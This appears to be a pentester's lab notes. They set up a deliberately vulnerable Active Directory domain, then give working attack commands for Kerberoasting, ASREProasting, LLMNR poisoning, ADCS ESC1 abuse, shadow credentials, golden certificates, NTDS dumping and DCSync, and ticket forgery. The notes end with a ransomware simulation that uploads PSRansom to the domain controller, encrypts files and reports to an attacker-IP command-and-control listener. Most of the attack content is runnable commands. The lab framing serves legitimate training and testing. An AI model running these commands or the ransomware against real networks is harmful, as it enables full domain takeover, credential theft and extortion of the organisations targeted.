These are some notes describing how to build a deliberately vulnerable Active Directory test lab to test some well-known misconfigurations or exploits. I might expand on this later…
|
ℹ️
|
This is nothing new, most of this stuff can be easily found on the Internet. This is just for my own reference. Please excuse my brevity. |
This article assumes a Windows Server 2022 system (VM), and a non domain joined Linux system (VM) with pentesting tools such as impacket and certipy.
The Windows Server we’ll configure with some (well-known) vulnerabilities. Some are weaknesses (e.g. deprecated protocols); others are misconfigurations (objects, certificate templates, etc.). And the Linux system is where we’ll be launching our attacks from.
Configuration
After installing Windows Server 2022, the first thing you may wish to do is rename it:
PS C:\> Rename-Computer dc01After a reboot, promote it to a DC in a new forest:
PS C:\> Install-WindowsFeature AD-Domain-Services –IncludeManagementTools -Verbose
PS C:\> $SafeModePwd = ConvertTo-SecureString "P@ssw0rd01!" -AsPlainText -Force
PS C:\> Install-ADDSForest `
-DomainName "corp.local" `
-DomainNetbiosName "CORP" `
-ForestMode "WinThreshold" `
-DomainMode "WinThreshold" `
-SafeModeAdministratorPassword $SafeModePwd `
-InstallDNS `
-ForceCreate some OUs:
PS C:\> Import-Module ActiveDirectory
PS C:\> New-ADOrganizationalUnit -Name "Corp" `
-Path "DC=corp,DC=local"
PS C:\> New-ADOrganizationalUnit -Name "Computers" `
-Path "OU=Corp,DC=corp,DC=local"
PS C:\> New-ADOrganizationalUnit -Name "Accounts" `
-Path "OU=Corp,DC=corp,DC=local"
PS C:\> New-ADOrganizationalUnit -Name "Employee Accounts" `
-Path "OU=Accounts,OU=Corp,DC=corp,DC=local"
PS C:\> New-ADOrganizationalUnit -Name "Domain Admins" `
-Path "OU=Accounts,OU=Corp,DC=corp,DC=local"
PS C:\> New-ADOrganizationalUnit -Name "Service Accounts" `
-Path "OU=Accounts,OU=Corp,DC=corp,DC=local"Create a Regular user:
PS C:\> $Password = ConvertTo-SecureString "Winter2025!" -AsPlainText -Force
PS C:\> New-ADUser `
-Name "Gijsbert" `
-SamAccountName gijsbert `
-AccountPassword $Password `
-Enabled $true `
-PasswordNeverExpires $true `
-Path "OU=Employee Accounts,OU=Accounts,OU=Corp,DC=corp,DC=local"Create a Domain Admin:
PS C:\> $Password = ConvertTo-SecureString '$up3r$3cr3t!' -AsPlainText -Force
PS C:\> New-ADUser `
-Name "DA Wilbert" `
-SamAccountName wilbert `
-AccountPassword $Password `
-Enabled $true `
-PasswordNeverExpires $true `
-Path "OU=Domain Admins,OU=Accounts,OU=Corp,DC=corp,DC=local"
PS C:\> Add-ADGroupMember -Identity "Domain Admins" -Members wilbertCreate Kerberoastable service account, with Domain Admin membership:
PS C:\> $Password = ConvertTo-SecureString 'M3g@$3cr3t!' -AsPlainText -Force
PS C:\> New-ADUser `
-Name "srvc_www" `
-SamAccountName srvc_www `
-AccountPassword $Password `
-Enabled $true `
-PasswordNeverExpires $true `
-Path "OU=Service Accounts,OU=Accounts,OU=Corp,DC=corp,DC=local"
PS C:\> Set-ADUser srvc_www `
-ServicePrincipalNames @{Add="http/www01.corp.local"}Create ASREProastable service account, with Account Operators membership:
PS C:\> $Password = ConvertTo-SecureString 'Ultr@$3cr3t!' -AsPlainText -Force
PS C:\> New-ADUser `
-Name "srvc_legacy" `
-SamAccountName srvc_legacy `
-AccountPassword $Password `
-Enabled $true `
-PasswordNeverExpires $true `
-Path "OU=Service Accounts,OU=Accounts,OU=Corp,DC=corp,DC=local"
PS C:\> Set-ADAccountControl srvc_legacy -DoesNotRequirePreAuth $true
PS C:\> Add-ADGroupMember -Identity "Account Operators" -Members srvc_legacyAdd a KDS Root Key, and a gMSA:
PS C:\> Add-KdsRootKey -EffectiveImmediately
PS C:\> New-ADServiceAccount `
-Name Msrvcsql `
-DNSHostName Msrvcsql.corp.local `
-PrincipalsAllowedToRetrieveManagedPassword wilbertCreate a regular computer account:
PS C:\> New-ADComputer `
-Name "PC01" `
-SamAccountName "PC01$" `
-Path "OU=Computers,OU=Corp,DC=corp,DC=local"Create a Timeroastable computer account:
PS C:\> New-ADComputer `
-Name "PC02" `
-SamAccountName "PC02$" `
-Path "OU=Computers,OU=Corp,DC=corp,DC=local" `
-OtherAttributes @{
userAccountControl = 4128
}AD CS
Add an AD CS root CA:
PS C:\> Install-WindowsFeature ADCS-Cert-Authority -IncludeManagementTools
PS C:\> Install-AdcsCertificationAuthority `
-CAType EnterpriseRootCA `
-CACommonName "CORPROOTCA" `
-KeyLength 2048 `
-HashAlgorithm SHA256 `
-CryptoProviderName "RSA#Microsoft Software Key Storage Provider" `
-ForceAdd PKINIT and LDAPS:
Open certtmpl.msc, and duplicate the Kerberos Authentication template.
On the General tab, rename the Template display name to LDAPS and PKINIT Template, and enable the option Publish certificate in Active Directory.
On the Request Handling tab, enable the option Allow private key to be exported.
On the Subject Name tab, enable the option Build from this Active Directory information, and enable the option DNS name.
Click Apply, and then OK to close.
Open certsrv.msc, browse to Certificate Templates, and go to Action → New → Certificate Template to Issue, and select the LDAPS and PKINIT Template.
Open certlm.msc, browse to Personal → Certificates, and got to Action → All Tasks → Request New Certificate, and request a new certificate from the template LDAPS and PKINIT Template.
Create and publish ESC1 vulnerable template:
Open certtmpl.msc, and duplicate the User template.
On the General tab, rename the Template display name to ESC1 Template.
On the Subject Name tab, enable the option Supply in the request.
On the Security tab, add the Enroll permission to Domain Users.
Click Apply, and then OK to close.
Open certsrv.msc, browse to Certificate Templates, and go to Action → New → Certificate Template to Issue, and select the ESC1 Template.
SCCM
|
⚠️
|
TODO |
# MSSQL 2022
wget https://go.microsoft.com/fwlink/?linkid=2215202&clcid=0x409&culture=en-us&country=us -O SQL2022-SSEI-Eval.exe
wget https://aka.ms/ssms/22/release/vs_SSMS.exe
# Prereq SCCM
#wget https://aka.ms/vc14/vc_redist.x64.exe # not sure if required. if msoledbsql.msi complains, try this again
wget https://go.microsoft.com/fwlink/?linkid=2299909 -O msoledbsql.msi
Enable-WindowsOptionalFeature -Online -FeatureName "NetFx3" -All
Install-WindowsFeature RDC
Install-WindowsFeature -Name UpdateServices -IncludeManagementTools
Install-WindowsFeature BITS -IncludeManagementTools
wget https://go.microsoft.com/fwlink/?linkid=2337875 -O adksetup.exe
wget https://go.microsoft.com/fwlink/?linkid=2289981 -O adkwinpesetup.exe
# Schema extenstions for SCCM
&"C:\Users\Administrator\ConfigMgr_2509\SMSSETUP\BIN\X64\extadsch.exe"
////
# Or, manually (perhaps this was not necessary)
Import-Module ActiveDirectory
$domainDN = (Get-ADDomain).DistinguishedName
$systemDN = "CN=System,$domainDN"
# Create the container if it doesn't exist
if (-not (Get-ADObject -LDAPFilter "(cn=System Management)" -SearchBase $systemDN -ErrorAction SilentlyContinue))
{
New-ADObject `
-Name "System Management" `
-Type "container" `
-Path $systemDN
}
# Verify container existance
Get-ADObject -Identity "CN=System Management,CN=System,$((Get-ADDomain).DistinguishedName)"
# Delegate permissions to SCCM Site Server
$SiteServer = "DC01$"
$ContainerDN = "CN=System Management,CN=System,$((Get-ADDomain).DistinguishedName)"
$ComputerSID = (Get-ADComputer $SiteServer.TrimEnd('$')).SID
$Container = [ADSI]"LDAP://$ContainerDN"
$Acl = $Container.psbase.ObjectSecurity
$Identity = New-Object System.Security.Principal.SecurityIdentifier($ComputerSID)
$Rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$Identity,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow,
[System.DirectoryServices.ActiveDirectorySecurityInheritance]::All
)
$Acl.AddAccessRule($Rule)
$Container.psbase.ObjectSecurity = $Acl
$Container.psbase.CommitChanges()
////
# SCCM 2025
wget https://go.microsoft.com/fwlink/?linkid=2350307&clcid=0x409&culture=en-us&country=us -O ConfigMgr_2509.exeEnvironment Variables
Back to the Linux system, initialise some key environment variables:
user $ set win_domain corp.local
user $ set dc_ip (dig +short dc01.corp.local)
user $ set dc_fqdn dc01.{$win_domain}
user $ set regular_user_account gijsbert
user $ set regular_user_passwd Winter2025!
user $ set privileged_service_account srvc_www
user $ set privileged_user_account wilbert|
ℹ️
|
This assumes the Fish shell, so change accordingly. |
Also make a working directory tree where we’ll be working from:
user $ mkdir -p ~/demo/{files,hashes,rules,wordlists}The files directory we’ll fill with some tools:
user $ git clone https://github.com/JoelGMSec/PSRansom ~/demo/files/PSRansomThe hashes directory we’ll fill with obtained hashes along the way.
The rules directory we’ll fill with some Hashcat rules (e.g. OneRuleRoRuleThemStill, d3ad0ne, etc.)
The wordlists we’ll fill with some dictionaries (e.g. dicts from seclists).
Kerberoasting
user $ GetUserSPNs.py "$win_domain/$regular_user_account:$regular_user_passwd" -dc-ip {$dc_ip}
[...]
user $ set privileged_service_spn http/www01.corp.local
user $ GetUserSPNs.py "$win_domain/$regular_user_account:$regular_user_passwd" -dc-ip {$dc_ip} -request | tail -n 1 > ~/demo/hashes/kerberoast.txt
user $ cat ~/demo/hashes/kerberoast.txt
[...]
user $ hashcat -O -m 13100 -w 3 -a 0 --session=rule -o ~/demo/cracked.out --outfile-format=3 ~/demo/hashes/kerberoast.txt ~/demo/wordlists/dict.txt --potfile-path ~/demo/hashcat.pot -r ~/demo/rules/leetspeak.rule -r ~/demo/rules/OneRuleToRuleThemStill.rule
[...]
user $ cat ~/demo/hashcat.pot
[...]ASREProasting
user $ GetNPUsers.py "$win_domain/$regular_user_account:$regular_user_passwd" -dc-ip {$dc_ip}
[...]
user $ GetNPUsers.py "$win_domain/$regular_user_account:$regular_user_passwd" -dc-ip {$dc_ip} -request | tail -n 1 > ~/demo/hashes/asreproast.txt
user $ cat ~/demo/hashes/asreproast.txt
[...]
user $ hashcat -O -m 18200 -w 3 -a 0 --session=rule -o ~/demo/cracked.out --outfile-format=3 ~/demo/hashes/asreproast.txt ~/demo/wordlists/dict.txt --potfile-path ~/demo/hashcat.pot -r ~/demo/rules/leetspeak.rule -r ~/demo/rules/OneRuleToRuleThemStill.rule
[...]
user $ cat ~/demo/hashcat.pot
[...]Timeroasting
user $ nxc smb 172.16.10.10 -M timeroast --log ~/demo/timeroast.log
[...]
user $ awk '/sntp/ {print $NF}' ~/demo/timeroast.log > ~/demo/hashes/timeroast.txt
user $ cat ~/demo/hashes/timeroast.txt
[...]
user $ hashcat -O -m 31300 -w 3 -a 0 --session=rule -o ~/demo/cracked.out --outfile-format=3 ~/demo/hashes/timeroast.txt ~/demo/wordlists/dict.txt --potfile-path ~/demo/hashcat.pot -r ~/demo/rules/leetspeak.rule -r ~/demo/rules/OneRuleToRuleThemStill.rule
[...]
user $ cat ~/demo/hashcat.pot
[...]LLMNR Poisoning
If a hostname cannot be found via DNS, Windows falls back to LLMNR by default, which allows for AitM:
root # responder -I eth0 -vOpening an SMB share on a victim machine, connecting to a misspelled/misconfigured hostname, either via Explorer, or via the command line:
PS C:\> net view \\wowResponder catches the current user’s hash, which can be cracked via Hashcat:
user $ hashcat -m 5600 ~/demo/hashes/llmnr-captured-hash.txt ~/demo/wordlists/dict.txt --potfile-disable -r ~/demo/rules/OneRuleToRuleThemStill.ruleESC1
user $ certipy find -u {$regular_user_account} -p "$regular_user_passwd" -dc-ip {$dc_ip} -vulnerable -stdout
[...]
user $ set adcs_ca CORPROOTCA
user $ set adcs_vuln_template ESC1Template
user $ ldapsearch -x \
-D {$regular_user_account}@{$win_domain} \
-w "$regular_user_passwd" \
-b dc=(string replace -a '.' ',dc=' -- (string lower -- $win_domain)) \
-s sub "sAMAccountName=$privileged_user_account" \
-H ldap://{$dc_ip} ObjectSID
[...]
user $ fish ~/demo/sid.fish AQUAAAAAAAUVAAAAWmol18oEvZwwCQVsVAQAAA==
S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-yyyy
user $ set win_domain_sid S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx
user $ set privileged_user_rid yyyy
user $ set privileged_user_sid {$win_domain_sid}-{$privileged_user_rid}
user $ certipy req \
-u {$regular_user_account} \
-p "$regular_user_passwd" \
-dc-ip {$dc_ip} \
-target {$dc_fqdn} \
-ca {$adcs_ca} \
-template {$adcs_vuln_template} \
-upn {$privileged_user_account}@{$win_domain} \
-sid {$privileged_user_sid}
[...]
user $ certipy auth -pfx ~/demo/{$privileged_user_account}.pfx -domain {$win_domain} -dc-ip {$dc_ip}
[...]
user $ set privileged_user_hash xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxNow we can try logging in with the obtained NT hash, for example with evil-winrm-py:
user $ ewp -i {$dc_ip} -u {$privileged_user_account} -H {$privileged_user_hash}Or using the obtained ccache ticket, for example with NetExec, or Impacket:
user $ export KRB5CCNAME={$privileged_user_account}.ccache
user $ klist
[...]
user $ nxc wmi {$dc_ip} --use-kcache --kdcHost {$dc_ip} -x whoami
[...]
user $ smbclient.py -k -no-pass -dc-ip {$dc_ip} -target-ip {$dc_ip} {$win_domain}/{$privileged_user_account}@{$dc_fqdn}You can authenticate with the PFX from certipy to gain a new TGT, or use Impacket via the obtained NT hash (less stealthy):
user $ getTGT.py {$win_domain}/{$privileged_user_account} -hashes :{$privileged_user_hash} -dc-ip {$dc_ip}Shadow Credential
user $ certipy shadow \
-k \
-no-pass \
-dc-ip {$dc_ip} \
-target {$dc_fqdn} \
-dc-host {$dc_fqdn} \
-account {$privileged_user_account} \
-out {$privileged_user_account}_shadow.pfx \
add
[...]
user $ certipy auth \
-dc-ip {$dc_ip} \
-pfx {$privileged_user_account}_shadow.pfx \
-username {$privileged_user_account} \
-domain {$win_domain}Golden Certificate
With obtained DA credentials we can steal the AD CS CA key, and forge our own Golden Tickets.
|
ℹ️
|
A compromised AD CS CA key has a profound impact (persistent domain compromise, unlimited lateral movement, code signing, etc.). Mitigation involves recreating a brand new CA key, and then re-signing all issued certificates at best, but practically dictates rebuilding the entire domain as all trust is broken at this point. This is a monumental and arduous task. |
user $ certipy ca -backup -ca {$adcs_ca} -username {$privileged_user_account} -target-ip {$dc_ip} -hashes {$privileged_user_hash}
user $ openssl pkcs12 -in ~/demo/{$privileged_user_account}.pfx -info -nokeys -clcerts 2>/dev/null | sed -n '/-----BEGIN CERTIFICATE-----/,/-----END CERTIFICATE-----/p' | openssl x509 -text -noout
[...]
user $ set adcs_crl 'ldap:///CN=CORPROOTCA,CN=dc01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=corp,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint'
user $ certipy forge -ca-pfx {$adcs_ca}.pfx -upn {$privileged_user_account}@{$win_domain} -sid {$privileged_user_sid} -crl 'ldap:///CN=CORPROOTCA(1),CN=dc01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=corp,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint'`
user $ certipy auth -pfx ~/demo/{$privileged_user_account}_forged.pfx -domain {$win_domain} -dc-ip {$dc_ip}
[...]Golden gMSA
user $ set privileged_user_passwd '$up3r$3cr3t!' # `--kerberos` is borked?
user $ python3 main.py -u {$privileged_user_account} -p "{$privileged_user_passwd}" -d {$win_domain} --dc-ip {$dc_ip} gmsainfo
[...]
user $ set gmsa 'Msrvcsql$'
user $ set gmsa_sid S-1-5-21-[...]
user $ set gmsa_pwdid AQAAAEtEU0sCAAAAbAEAAAgAAAAMAAAAQt[...]
user $ python3 main.py -u {$privileged_user_account} -p "{$privileged_user_passwd}" -d {$win_domain} --dc-ip {$dc_ip} kdsinfo
[...]
user $ set kdsrootkey AQAAAELdPVxX1IfkWqCTepJb6d4AAAAAAQAAAAAAAAAkAAAAUw[...]
user $ python3 main.py compute --sid {$gmsa_sid} --kdskey "{$kdsrootkey}" --pwdid "{$gmsa_pwdid}"
[...]
user $ set gmsa_nthash aad3[...]:3366[...]Then, get a TGT like so:
user $ getTGT.py "{$win_domain}/{$gmsa}" -dc-ip {$dc_ip} -hashes {$gmsa_nthash}Dumping NTDS
LotL
Assuming Evil-WinRM{,-py} for the download cmd:
PS C:\> ntdsutil "ac i ntds" "ifm" "create full c:\extract" quit quit
PS C:\> Compress-Archive c:\extract c:\extract.zip
PS C:\> download c:\extract.zip hashes
PS C:\> rm c:\extract.zip
PS C:\> rm -recurse c:\extract
PS C:\> exit
user $ unzip extract.zip -d hashes
user $ rm extract.zip
user $ secretsdump.py \
-system extract/registry/SYSTEM \
-ntds extract/Active\ Directory/ntds.dit \
-history LOCAL > ntds.txtDCSync via secretsdump.py
user $ secretsdump.py \
-k \
-no-pass \
-outputfile hashes/dcsync \
-dc-ip {$dc_ip} \
@{$dc_fqdn} \
-just-dcNetExec
user $ nxc smb {$dc_ip} --use-kcache --kdcHost {$dc_ip} --ntds --history --kerberos-keysCracking
user $ hashcat -m 1000 \
-w 3 \
-a 0 \
-p : \
--session=audit \
--username \
-o ~/demo/cracked.out \
--outfile-format=3 \
--potfile-path ~/demo/hashcat.pot \
~/demo/hashes/dcsync.ntds \
~/demo/wordlists/dict.txt \
-r ~/demo/rules/leetspeak.rule \
-r ~/demo/rules/OneRuleToRuleThemStill.rulePrinting Silver / Golden / Diamond / Sapphire Tickets
user $ rg 'krbtgt|srvc_www' hashes/dcsync.ntds.kerberos
user $ rg krbtgt hashes/dcsync.ntdsuser $ set srvc_www_aeskey b48003f106074c70b650fdceb7d6001e1da874c816539dd36d70bf30c9e338e7
user $ set krbtgt_aeskey a31ab95776353f9c0dca3d4f83fd99fb918005ac1507ee447c430ce444374aee
user $ set krbtgt_nthash eb06a6dbfa8a7b45c84c10a0f9454a75Silver Ticket
Using the computer account’s AES key of which its hostname is part of the SPN:
user $ ticketer.py \
-aesKey {$corplink_aeskey} \
-domain-sid {$win_domain_sid} \
-domain {$win_domain} \
-spn {$privileged_service_spn} \
{$privileged_service_account}|
ℹ️
|
The above only works when logging on the machine which the SPN points to. |
Golden Ticket
Using the KRBTGT AES key (e.g. the aes256-cts-hmac-sha1-96 value of krbtgt in the secretsdump.py output):
user $ ticketer.py \
-aesKey {$krbtgt_aeskey} \
-domain-sid {$win_domain_sid} \
-domain {$win_domain} \
-user-id {$privileged_user_rid} \
{$privileged_user_account}Diamond Ticket
user $ ticketer.py \
-dc-ip {$dc_ip} \
-request -domain {$win_domain} \
-user {$regular_user_account} \
-password "$regular_user_passwd" \
-aesKey {$krbtgt_aeskey} \
-domain-sid {$win_domain_sid} \
-user-id {$privileged_user_rid} \
{$privileged_user_account}|
ℹ️
|
A Diamond Ticket first requests a normal ticket via a low privileged user (i.e. the -user and -password arguments and values).
It then decrypts the PAC, modifies the PAC, recalculates the signatures, and encrypts the PAC again.
|
Sapphire Ticket
user $ ticketer.py \
-dc-ip {$dc_ip} \
-request \
-impersonate {$privileged_user_account} \
-domain {$win_domain} \
-user {$regular_user_account} \
-password "$regular_user_passwd" \
-nthash {$krbtgt_nthash} \
-aesKey {$krbtgt_aeskey} \
-domain-sid {$win_domain_sid} \
-user-id {$privileged_user_rid} \
{$privileged_user_account}|
ℹ️
|
A Sapphire Ticket avoids forging the PAC (as is the case with Diamond Tickets), and instead uses a real privileged user’s PAC (stealthier) via S4U2self+u2u. |
Login using the ticket (-k and -no-pass will use the above ticket referred to by the environment variable):
user $ smbclient.py -k -no-pass -dc-ip {$dc_ip} -target-ip {$dc_ip} \
{$win_domain}/{$privileged_user_account}@{$dc_fqdn}Ransomware Simulation
First, start the listener on the Linux system:
user $ pwsh ~/demo/files/PSRansom/C2Server.ps1 + 8080Then login and execute the ransomware simulation.
This assumes Evil-WinRM{,-py} for the upload cmd):
user $ ewp -i {$dc_ip} -u {$privileged_user_account} -H {$privileged_user_hash}
PS C:\> upload ~/demo/files/PSRansom/PSRansom.ps1 .
PS C:\> powershell .\PSRansom.ps1 -e Gevoelig -s {$attacker_ip} -p 8080 -x
PS C:\> powershell .\PSRansom.ps1 -d Gevoelig -k O5LtxgPBWCNHS0yseviG8DV6